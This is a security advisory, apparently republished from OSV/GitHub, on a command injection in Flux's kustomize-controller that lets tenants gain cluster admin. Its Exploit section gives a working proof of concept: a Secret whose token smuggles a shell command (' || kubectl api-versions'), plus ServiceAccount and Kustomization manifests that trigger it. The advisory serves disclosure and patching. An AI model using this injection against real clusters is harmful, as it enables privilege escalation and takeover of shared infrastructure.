Privilege escalation to cluster admin on multi-tenant environments
Résumé
Privilege escalation to cluster admin on multi-tenant environments
Description d'origine
La description telle que publiée par la source (souvent en anglais).
Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.
Impact
Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.
Exploit
To exploit the command injection, first we create a secret with a shell command:
kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"
Then we create a Service Account that refers to the above Secret:
apiVersion: v1
kind: ServiceAccount
metadata:
name: exploit
namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token
And finally a Kustomization that runs under the above Service Account:
apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
name: exploit
namespace: default
spec:
interval: 5m
path: "./deploy/"
sourceRef:
kind: GitRepository
name: app
serviceAccountName: exploit
When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.
Patches
This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) release…
Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV
Paquets affectés
Références
- advisory nvd.nist.gov
- package github.com
- web github.com